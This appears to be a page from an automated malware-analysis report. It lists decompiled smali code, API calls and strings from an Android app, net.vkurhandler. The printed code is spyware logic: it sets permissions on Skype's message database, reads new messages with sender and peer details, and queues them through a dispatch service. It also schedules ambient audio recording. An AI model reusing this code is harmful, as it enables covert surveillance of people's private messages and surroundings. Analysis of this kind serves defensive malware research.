                    143invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    145const-string v2, "datetime_end"
                    147iget-object v4, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->i:Landroid/widget/TextView;
                    149invoke-virtual {v4}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    150move-result-object v4
                    152invoke-interface {v4}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    153move-result-object v4
                    155invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    157invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    158move-result-object v0
                    159goto/16 :goto_d
                    160pswitch_da:
                    161invoke-direct {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->a()Lorg/json/JSONObject;
                    162move-result-object v4
                    163if-nez v4, :cond_f6
                    165invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getBaseContext()Landroid/content/Context;
                    166move-result-object v1
                    167const v4, 0x7f060009
                    169invoke-virtual {p0, v4}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getString(I)Ljava/lang/String;
                    170move-result-object v4
                    171const/4 v5, 0x1
                    173invoke-static {v1, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    174move-result-object v1
                    176invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    177move v1, v2
                    178goto/16 :goto_d
                    179cond_f6:
                    180invoke-direct {p0, v4}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->b(Lorg/json/JSONObject;)Z
                    181move-result v5
                    182if-nez v5, :cond_112
                    184invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getBaseContext()Landroid/content/Context;
                    185move-result-object v1
                    186const v4, 0x7f06000a
                    188invoke-virtual {p0, v4}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getString(I)Ljava/lang/String;
                    189move-result-object v4
                    190const/4 v5, 0x1
                    192invoke-static {v1, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    193move-result-object v1
                    195invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    196move v1, v2
                    197goto/16 :goto_d
                    198cond_112:
                    199invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    200move-result-object v0
                    201goto/16 :goto_d
                    202pswitch_118: new-instance v0, Lorg/json/JSONObject;
                    204invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    206iget-object v2, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->j:Landroid/widget/TextView;
                    208invoke-virtual {v2}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    209move-result-object v2
                    211invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    212move-result-object v2
                    214const-string v4, ":"
                    216invoke-virtual {v2, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    217move-result-object v2
                    219iget-object v4, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->k:Landroid/widget/TextView;
                    221invoke-virtual {v4}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    222move-result-object v4
                    224invoke-interface {v4}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    225move-result-object v4
                    227const-string v5, ":"
                    229invoke-virtual {v4, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    230move-result-object v4
                    232const-string v5, "hour_begin"
                    233const/4 v6, 0x0
                    234aget-object v6, v2, v6
                    236invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    237move-result v6
                    239invoke-virtual {v0, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    241const-string v5, "minute_begin"
                    242const/4 v6, 0x1
                    243aget-object v2, v2, v6
                    245invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    246move-result v2
                    248invoke-virtual {v0, v5, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    250const-string v2, "hour_end"
                    251const/4 v5, 0x0
                    252aget-object v5, v4, v5
                    254invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    255move-result v5
                    257invoke-virtual {v0, v2, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    259const-string v2, "minute_end"
                    260const/4 v5, 0x1
                    261aget-object v4, v4, v5
                    263invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    264move-result v4
                    266invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    268invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    269try_end_170: move-result-object v0
                    270goto/16 :goto_d
                    271catch_173: move-exception v0
                    273const-string v1, "AudiorecordEnvironmentScheduleActivity"
                    275invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    276goto/16 :goto_40
                    277nop
                    APIs
                    • net.vkurhandler.dm.l:Ljava/lang/String
                    • net.vkurhandler.dm.k:Ljava/lang/String
                    • net.vkurhandler.dm.k:Ljava/lang/String
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • net.vkurhandler.dm.k:Ljava/lang/String
                    • net.vkurhandler.dm.g:Landroid/content/SharedPreferences
                    • net.vkurhandler.MyApp.a
                    • android.content.SharedPreferences.getLong
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dm.k:Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dm.p:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dm.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dm.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • java.lang.String.equals
                    • java.lang.String.contains
                    • java.lang.String.contains
                    • java.lang.String.indexOf
                    • java.lang.String.substring
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.System.out:Ljava/io/PrintStream
                    • java.lang.StringBuilder.toString
                    • java.io.PrintStream.println
                    • net.vkurhandler.dm.b
                    • net.vkurhandler.dm.m:Ljava/lang/String
                    • net.vkurhandler.dm.a
                    • net.vkurhandler.dm.a
                    • net.vkurhandler.dm.a
                    • net.vkurhandler.dm.a
                    • net.vkurhandler.dm.m:Ljava/lang/String
                    • net.vkurhandler.dm.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • 0777
                    • messenger_rt_skype_last_update_ms
                    • RTSkype
                    • can read message db copy is
                    • lastUpdate
                    • Messages
                    • timestamp >
                    • :
                    • @
                    • ;
                    • type
                    • date
                    • message
                    • sub_type
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    Position Instruction Meta Information
                    0move-object/from16 v0, p0
                    1iget-wide v2, v0, Lnet/vkurhandler/dm;->c:J
                    3invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(J)V
                    4const/4 v3, 0x0
                    5const/4 v10, 0x0
                    6try_start_9:
                    7sget-object v2, Lnet/vkurhandler/dm;->l:Ljava/lang/String;
                    9sget-object v4, Lnet/vkurhandler/dm;->k:Ljava/lang/String;
                    11const-string v5, "0777"
                    13invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    14new-instance v2, Ljava/io/File;
                    16sget-object v4, Lnet/vkurhandler/dm;->k:Ljava/lang/String;
                    18invoke-direct {v2, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    20invoke-virtual {v2}, Ljava/io/File;->canRead()Z
                    21move-result v2
                    22if-nez v2, :cond_27
                    24sget-object v4, Lnet/vkurhandler/dm;->k:Ljava/lang/String;
                    26const-string v5, "0777"
                    27const/4 v6, 0x1
                    29invoke-static {v4, v5, v6}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    30cond_27: move-object/from16 v0, p0
                    32iget-object v4, v0, Lnet/vkurhandler/dm;->g:Landroid/content/SharedPreferences;
                    34const-string v5, "messenger_rt_skype_last_update_ms"
                    36invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    37move-result-wide v6
                    39invoke-interface {v4, v5, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    40move-result-wide v4
                    41const-wide/16 v6, 0x3e8
                    42div-long v12, v4, v6
                    44invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    45move-result v4
                    46if-eqz v4, :cond_6b
                    48const-string v4, "RTSkype"
                    49const/4 v5, 0x2
                    50new-array v5, v5, [Ljava/lang/String;
                    51const/4 v6, 0x0
                    52new-instance v7, Ljava/lang/StringBuilder;
                    54const-string v8, "can read message db copy is "
                    56invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    58invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    59move-result-object v7
                    61invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    62move-result-object v7
                    63aput-object v7, v5, v6
                    64const/4 v6, 0x1
                    65new-instance v7, Ljava/lang/StringBuilder;
                    67const-string v8, " lastUpdate "
                    69invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    71invoke-virtual {v7, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    72move-result-object v7
                    74invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    75move-result-object v7
                    76aput-object v7, v5, v6
                    78invoke-static {v4, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    79cond_6b: if-eqz v2, :cond_216
                    81sget-object v2, Lnet/vkurhandler/dm;->k:Ljava/lang/String;
                    82const/4 v4, 0x0
                    83const/4 v5, 0x1
                    85invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    86try_end_74: move-result-object v2
                    87try_start_75:
                    88const-string v3, "Messages"
                    90sget-object v4, Lnet/vkurhandler/dm;->p:[Ljava/lang/String;
                    91new-instance v5, Ljava/lang/StringBuilder;
                    93const-string v6, "timestamp > "
                    95invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    97invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    98move-result-object v5
                    100invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    101move-result-object v5
                    102const/4 v6, 0x0
                    103const/4 v7, 0x0
                    104const/4 v8, 0x0
                    105const/4 v9, 0x0
                    107invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    108try_end_8f: move-result-object v4
                    109const/4 v3, 0x0
                    110move-wide v8, v12
                    111try_start_92:
                    112invoke-interface {v4}, Landroid/database/Cursor;->moveToNext()Z
                    113move-result v5
                    114if-nez v5, :cond_c6
                    115if-eqz v3, :cond_b5
                    116move-object/from16 v0, p0
                    118iget-object v3, v0, Lnet/vkurhandler/dm;->g:Landroid/content/SharedPreferences;
                    120invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    121move-result-object v3
                    123const-string v5, "messenger_rt_skype_last_update_ms"
                    124const-wide/16 v6, 0x3e8
                    125mul-long/2addr v6, v8
                    127invoke-interface {v3, v5, v6, v7}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    128move-result-object v3
                    130invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    131move-object/from16 v0, p0
                    133iget-object v3, v0, Lnet/vkurhandler/dm;->d:Landroid/content/Context;
                    135invoke-static {v3}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    136cond_b5: if-eqz v4, :cond_ba
                    137try_start_b7:
                    138invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    139cond_ba: if-eqz v2, :cond_c5
                    141invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    142move-result v3
                    143if-eqz v3, :cond_c5
                    145invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    146cond_c5: return-void
                    147cond_c6: const/4 v3, 0x0
                    148try_start_c7:
                    149invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    150move-result-object v3
                    151const/4 v5, 0x1
                    153invoke-interface {v4, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    154move-result-object v11
                    155const/4 v5, 0x2
                    157invoke-interface {v4, v5}, Landroid/database/Cursor;->getLong(I)J
                    158move-result-wide v6
                    159const/4 v5, 0x1
                    160const-wide/16 v12, 0x3e8
                    161mul-long/2addr v12, v6
                    163invoke-static {v5, v12, v13}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    164move-result-object v12
                    165const/4 v5, 0x3
                    167invoke-interface {v4, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    168move-result-object v13
                    169const/4 v5, 0x4
                    171invoke-interface {v4, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    172move-result-object v14
                    174invoke-virtual {v11, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    175move-result v5
                    176if-eqz v5, :cond_199
                    177const/4 v5, 0x0
                    178move v10, v5
                    179goto_ef:
                    180const-string v5, ":"
                    182invoke-virtual {v3, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                    183move-result v5
                    184if-eqz v5, :cond_10a
                    186const-string v5, "@"
                    188invoke-virtual {v3, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                    189move-result v5
                    190if-eqz v5, :cond_10a
                    191const/4 v5, 0x3
                    193const-string v15, "@"
                    195invoke-virtual {v3, v15}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                    196move-result v15
                    198invoke-virtual {v3, v5, v15}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                    199move-result-object v3
                    200cond_10a: new-instance v5, Ljava/lang/StringBuilder;
                    202invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                    204invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    205move-result-object v15
                    207const-string v16, ";"
                    209invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    210move-result-object v15
                    212invoke-virtual {v15, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    213move-result-object v11
                    215const-string v15, ";"
                    217invoke-virtual {v11, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    218move-result-object v11
                    220invoke-virtual {v11, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    221move-result-object v11
                    223const-string v15, ";"
                    225invoke-virtual {v11, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    226move-result-object v11
                    228invoke-virtual {v11, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    229move-result-object v11
                    231const-string v14, ";"
                    233invoke-virtual {v11, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    234move-result-object v11
                    236invoke-virtual {v11, v10}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    238sget-object v11, Ljava/lang/System;->out:Ljava/io/PrintStream;
                    240invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    241move-result-object v5
                    243invoke-virtual {v11, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
                    244cmp-long v5, v6, v8
                    245if-lez v5, :cond_213
                    246goto_147:
                    247invoke-static {v3}, Lnet/vkurhandler/dm;->b(Ljava/lang/String;)Ljava/lang/String;
                    248move-result-object v8
                    249if-eqz v10, :cond_19d
                    251sget-object v3, Lnet/vkurhandler/dm;->m:Ljava/lang/String;
                    252move-object/from16 v0, p0
                    254invoke-direct {v0, v3, v2}, Lnet/vkurhandler/dm;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    255move-result-object v5
                    256move-object/from16 v0, p0
                    258invoke-direct {v0, v8, v2}, Lnet/vkurhandler/dm;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    259move-result-object v3
                    260goto_15b: move-object/from16 v0, p0
                    262invoke-virtual {v0, v13, v5, v3}, Lnet/vkurhandler/dm;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    263move-result v9
                    264if-eqz v9, :cond_195
                    266invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    267move-result-object v9
                    269const-string v11, "type"
                    270const/4 v14, 0x1
                    272invoke-virtual {v9, v11, v14}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    274const-string v11, "date"
                    276invoke-virtual {v9, v11, v12}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    278const-string v11, "message"
                    280invoke-virtual {v9, v11, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    282const-string v11, "sub_type"
                    283const/16 v12, 0x11
                    285invoke-virtual {v9, v11, v12}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    287const-string v11, "sender"
                    289invoke-virtual {v9, v11, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    291const-string v5, "peer"
                    293invoke-virtual {v9, v5, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    295const-string v3, "is_out"
                    297invoke-virtual {v9, v3, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    299const-string v3, "dialog_id"
                    301invoke-virtual {v9, v3, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    303invoke-static {v9}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    304cond_195: const/4 v3, 0x1
                    305move-wide v8, v6
                    306goto/16 :goto_92
                    307cond_199: const/4 v5, 0x1
                    308move v10, v5
                    309goto/16 :goto_ef
                    310cond_19d: move-object/from16 v0, p0
                    312invoke-direct {v0, v8, v2}, Lnet/vkurhandler/dm;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    313move-result-object v5
                    315sget-object v3, Lnet/vkurhandler/dm;->m:Ljava/lang/String;
                    316move-object/from16 v0, p0
                    318invoke-direct {v0, v3, v2}, Lnet/vkurhandler/dm;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    319try_end_1aa: move-result-object v3
                    320goto/16 :goto_15b
                    321catch_1ac: move-exception v2
                    322move-object v4, v3
                    323move-object v3, v10
                    324try_start_1af:
                    325const-string v5, "RTSkype"
                    327invoke-static {v5, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    328try_end_1b4: if-eqz v3, :cond_1b9
                    329try_start_1b6:
                    330invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    331cond_1b9: if-eqz v4, :cond_c5
                    333invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    334move-result v2
                    335if-eqz v2, :cond_c5
                    337invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    338try_end_1c4: goto/16 :goto_c5
                    339catch_1c6: move-exception v2
                    341const-string v3, "RTSkype"
                    343invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    344goto/16 :goto_c5
                    345catchall_1ce: move-exception v2
                    346move-object v4, v10
                    347goto_1d0: if-eqz v4, :cond_1d5
                    348try_start_1d2:
                    349invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    350cond_1d5: if-eqz v3, :cond_1e0
                    352invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    353move-result v4
                    354if-eqz v4, :cond_1e0
                    356invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    357cond_1e0: throw v2
                    358catch_1e1: move-exception v3
                    360const-string v4, "RTSkype"
                    362invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    363goto/16 :goto_1e0
                    364catch_1e8: move-exception v2
                    366const-string v3, "RTSkype"
                    368invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    369goto/16 :goto_c5
                    370catchall_1f0: move-exception v3
                    371move-object v4, v10
                    372move-object/from16 v17, v3
                    373move-object v3, v2
                    374move-object/from16 v2, v17
                    375goto/16 :goto_1d0
                    376catchall_1f8: move-exception v3
                    377move-object/from16 v17, v3
                    378move-object v3, v2
                    379move-object/from16 v2, v17
                    380goto/16 :goto_1d0
                    381catchall_1ff: move-exception v2
                    382move-object/from16 v17, v3
                    383move-object v3, v4
                    384move-object/from16 v4, v17
                    385goto/16 :goto_1d0
                    386catch_206: move-exception v3
                    387move-object v4, v2
                    388move-object v2, v3
                    389move-object v3, v10
                    390goto/16 :goto_1af
                    391catch_20b: move-exception v3
                    392move-object/from16 v17, v3
                    393move-object v3, v4
                    394move-object v4, v2
                    395move-object/from16 v2, v17
                    396goto/16 :goto_1af
                    397cond_213: move-wide v6, v8
                    398goto/16 :goto_147
                    399cond_216: move-object v4, v10
                    400move-object v2, v3
                    401goto/16 :goto_b5
                    APIs
                    • net.vkurhandler.SettingsRootActivity.a
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.b
                    • android.widget.EditText.setEnabled
                    • net.vkurhandler.SettingsRootActivity.c
                    • android.widget.Button.setEnabled
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.b
                    • java.util.HashMap.get
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.g
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.i
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.j
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.k
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.m
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.m
                    • net.vkurhandler.dj.f
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.l
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.l
                    • net.vkurhandler.dj.f
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.n
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.n
                    • net.vkurhandler.dj.f
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.o
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.p
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.h
                    • net.vkurhandler.SettingsRootActivity.d
                    • net.vkurhandler.MyApp.h
                    • net.vkurhandler.dj.f
                    • net.vkurhandler.dj.a
                    Strings
                    • com.skype.raider
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    3invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->a(Lnet/vkurhandler/SettingsRootActivity;)Landroid/content/SharedPreferences;
                    4move-result-object v0
                    6invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    7move-result-object v0
                    9iget-object v1, p0, Lnet/vkurhandler/fw;->b:Ljava/lang/String;
                    11invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    12move-result-object v0
                    14invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    16invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    17move-result v0
                    18const v1, 0x7f0a00f5
                    19if-ne v0, v1, :cond_2f
                    21iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    23invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->b(Lnet/vkurhandler/SettingsRootActivity;)Landroid/widget/EditText;
                    24move-result-object v0
                    26invoke-virtual {v0, p2}, Landroid/widget/EditText;->setEnabled(Z)V
                    28iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    30invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->c(Lnet/vkurhandler/SettingsRootActivity;)Landroid/widget/Button;
                    31move-result-object v0
                    33invoke-virtual {v0, p2}, Landroid/widget/Button;->setEnabled(Z)V
                    34cond_2e: return-void
                    35cond_2f:
                    36invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    37move-result v0
                    38const v1, 0x7f0a00f4
                    39if-ne v0, v1, :cond_50
                    41iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    43invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    44move-result-object v0
                    46invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->b()Ljava/util/HashMap;
                    47move-result-object v0
                    49const-string v1, "com.skype.raider"
                    51invoke-virtual {v0, v1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                    52move-result-object v0
                    53check-cast v0, Lnet/vkurhandler/dj;
                    54if-eqz v0, :cond_2e
                    56invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    57goto/16 :goto_2e
                    58cond_50:
                    59invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    60move-result v0
                    61const v1, 0x7f0a00f2
                    62if-ne v0, v1, :cond_67
